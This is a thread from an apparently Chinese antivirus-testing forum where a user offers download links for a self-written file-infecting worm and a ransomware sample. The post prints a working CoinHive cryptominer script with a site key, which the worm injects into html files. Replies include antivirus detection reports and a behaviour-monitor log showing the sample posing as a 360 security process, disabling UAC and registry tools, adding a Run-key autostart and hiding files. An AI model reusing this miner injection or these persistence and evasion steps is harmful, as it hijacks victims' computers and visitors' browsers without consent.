XiaoBa自制蠕虫病毒[2018-1-10]

TheYuCheng

样本下载：https://pan.baidu.com/s/1c3BW1gs

XiaoBa版权所有

QQ：3047861776

持续更新中···

可以感染exe、pif、scr、com多种可执行文件

还会向html、htm文件添加以下代码：

<script type="text/javascript" src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('yuNWeGn9GWL72dONBX9WNEj1aVHxg49E');
miner.start();
</script>
还有更多功能就不介绍了···
使用VC6.0编写

TheYuCheng

我的官方网站：www.bayucheng.tk
内嵌挖矿代码大家试试会不会报毒

TheYuCheng

新做的勒索敲诈病毒：https://pan.baidu.com/s/1jJWJH8i
可能会出现BUG，请在较高版本的系统中运行

dongwenqi

卡巴启发式杀

llcy

petr0vic

BD

weber001

下载被卡巴斯基阻止

左手

1. 2018-1-10 23:02:05    创建文件夹 风险提示:低风险    允许
   
2. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
   
3. 目标: C:\WINDOWS\360
   
4. 规则: [文件组]?:\*《任意文件夹》 -> [文件]?:\*
   
5. 
   
6. 2018-1-10 23:02:20    创建文件 风险提示:低风险    允许
   
7. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
   
8. 目标: C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe
   
9. 规则: [应用程序]?:\*\*\*\* -> [文件组]{③安全级别:中}f260_①启用《写入windows系统执行文件》 -> [文件]c:\windows\*; *.exe
   
10. 
    
11. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
    
12. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
13. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal
    
14. 值: C:\Documents and Settings\Administrator\My Documents
    
15. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
16. 
    
17. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
    
18. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
19. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Documents
    
20. 值: C:\Documents and Settings\All Users\Documents
    
21. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
22. 
    
23. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
    
24. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
25. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Desktop
    
26. 值: C:\Documents and Settings\Administrator\桌面
    
27. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
28. 
    
29. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
    
30. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
31. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop
    
32. 值: C:\Documents and Settings\All Users\桌面
    
33. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
34. 
    
35. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
    
36. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
37. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
    
38. 值: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
    
39. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
40. 
    
41. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
    
42. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
43. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
    
44. 值: C:\Documents and Settings\Administrator\Cookies
    
45. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
46. 
    
47. 2018-1-10 23:02:20    修改注册表值 风险提示:敏感    阻止
    
48. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
49. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\History
    
50. 值: C:\Documents and Settings\Administrator\Local Settings\History
    
51. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
52. 
    
53. 2018-1-10 23:02:27    创建新进程 风险提示:未知    允许
    
54. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
55. 目标: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
    
56. 命令行: "C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe"
    
57. 规则: [应用程序]* -> [子应用程序]*.exe
    
58. 
    
59. 2018-1-10 23:02:27    设置文件隐藏属性 风险提示:敏感    阻止并结束进程
    
60. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
    
61. 目标: C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe
    
62. 规则: [应用程序]c:\windows\* -> [文件]*; *.exe
    
63. 
    
64. 2018-1-10 23:03:06    修改文件 风险提示:敏感    允许
    
65. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
66. 目标: C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe
    
67. 规则: [应用程序]?:\*\*\*\* -> [文件组]{③安全级别:中}f260_①启用《写入windows系统执行文件》 -> [文件]c:\windows\*; *.exe
    
68. 
    
69. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
    
70. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
71. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personal
    
72. 值: C:\Documents and Settings\Administrator\My Documents
    
73. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
74. 
    
75. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
    
76. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
77. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Documents
    
78. 值: C:\Documents and Settings\All Users\Documents
    
79. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
80. 
    
81. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
    
82. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
83. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Desktop
    
84. 值: C:\Documents and Settings\Administrator\桌面
    
85. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
86. 
    
87. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
    
88. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
89. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Desktop
    
90. 值: C:\Documents and Settings\All Users\桌面
    
91. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
92. 
    
93. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
    
94. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
    
95. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
    
96. 值: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
    
97. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
    
98. 
    
99. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
    
100. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
     
101. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
     
102. 值: C:\Documents and Settings\Administrator\Cookies
     
103. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
     
104. 
     
105. 2018-1-10 23:03:06    修改注册表值 风险提示:敏感    阻止
     
106. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
     
107. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\History
     
108. 值: C:\Documents and Settings\Administrator\Local Settings\History
     
109. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
     
110. 
     
111. 2018-1-10 23:03:12    创建新进程 风险提示:未知    允许
     
112. 进程: c:\documents and settings\administrator\桌面\zhudongfangyu.exe
     
113. 目标: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
     
114. 命令行: "C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe"
     
115. 规则: [应用程序]* -> [子应用程序]*.exe
     
116. 
     
117. 2018-1-10 23:03:20    修改注册表值 风险提示:敏感    阻止
     
118. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
     
119. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\EnableLUA
     
120. 值: 0x00000000(0)
     
121. 规则: [注册表组]r015_注意 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies*
     
122. 
     
123. 2018-1-10 23:03:29    修改注册表值 风险提示:敏感    阻止
     
124. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
     
125. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ZhuDongFangYu
     
126. 值: C:\WINDOWS\360\360Safe\deepscan\ZhuDongFangYu.exe
     
127. 规则: [应用程序]c:\windows\* -> [注册表]*\SOFTWARE\Microsoft\Windows\CurrentVersion\Run*
     
128. 
     
129. 2018-1-10 23:03:29    修改注册表值 风险提示:敏感    阻止
     
130. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
     
131. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup
     
132. 值: C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
     
133. 规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [注册表组]阻止_优先黑名单
     
134. 
     
135. 2018-1-10 23:03:39    修改注册表值 风险提示:敏感    阻止
     
136. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
     
137. 目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools
     
138. 值: 0x00000001(1)
     
139. 规则: [注册表组]r010_行为防御 -> [注册表]*\Software\Microsoft\Windows\CurrentVersion\Policies\System; DisableRegistryTools
     
140. 
     
141. 2018-1-10 23:03:39    修改注册表值 风险提示:敏感    阻止并结束进程
     
142. 进程: c:\windows\360\360safe\deepscan\zhudongfangyu.exe
     
143. 目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
     
144. 值: 0x00000000(0)
     
145. 规则: [应用程序]c:\windows\* -> [注册表]*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced*
     

复制代码

学雷锋做人

这次又是抄谁的源码？

就你这货还会VC？我考考你啊

可能你会以为我瞧不起你，你说对了，我确实瞧不起你，求打脸！

加数签过扫描可以理解，最起码要加个有效的啊？上网找工具制作弄的什么玩意？

温馨提示：像这些破玩意少拿来卡饭显摆，每次看见你，我嘴里的痰就忍不住吐出来！

ziyerain2015

王国之心00

求测测景云

桑德尔

ESET Miss